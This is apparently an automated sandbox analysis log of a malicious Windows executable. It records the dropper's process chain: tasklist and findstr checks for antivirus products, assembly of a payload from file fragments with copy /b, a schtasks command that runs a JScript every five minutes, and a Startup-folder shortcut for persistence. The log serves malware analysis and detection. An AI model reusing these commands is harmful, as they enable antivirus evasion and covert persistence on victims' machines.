Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Nr Nr.cmd & Nr.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 361684	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Approaches	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Korea" Measurement	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 361684\Propose.com + Different + Constitute + Instantly + Led + Indonesia + Dressing + Missed + Brian + Clinton + Protocol 361684\Propose.com	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Next + ..\Math + ..\Blocked + ..\Leisure + ..\Substantial + ..\Beam + ..\Cocks + ..\David + ..\Undefined + ..\Realm U	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com Propose.com U	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c schtasks.exe /create /tn "Murray" /tr "wscript //B 'C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js'" /sc minute /mo 5 /F	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LinkHub.url" & echo URL="C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LinkHub.url" & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "Murray" /tr "wscript //B 'C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js'" /sc minute /mo 5 /F	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com" "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\y"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com" "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\y"	Jump to behavior

Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Section loaded: wldp.dll

Source: C:\Users\user\Desktop\RailProvides_nopump.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: RailProvides_nopump.exe

Static file information: File size 1328655 > 1048576

Source: RailProvides_nopump.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\RailProvides_nopump.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: RailProvides_nopump.exe

Static PE information: real checksum: 0x14327c should be: 0x14956c

Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_00290315 push cs; retn 0028h		21_2_00290318
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_00260DE6 push ecx; ret		21_2_00260DF9

Persistence and Installation Behavior

Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com			Jump to dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	File created: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com			Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com			Jump to dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	File created: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com			Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\RailProvides_nopump.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "Murray" /tr "wscript //B 'C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js'" /sc minute /mo 5 /F

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LinkHub.url

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LinkHub.url

Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_002D26DD IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		21_2_002D26DD
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_0025FC7C GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		21_2_0025FC7C

Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Window / User API: threadDelayed 4263	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Window / User API: threadDelayed 5263	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Window / User API: foregroundWindowGot 1769	Jump to behavior

Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com

API coverage: 4.2 %

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com TID: 5436	Thread sleep time: -108500s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com TID: 5576	Thread sleep time: -12789000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com TID: 5576	Thread sleep time: -15789000s >= -30000s	Jump to behavior

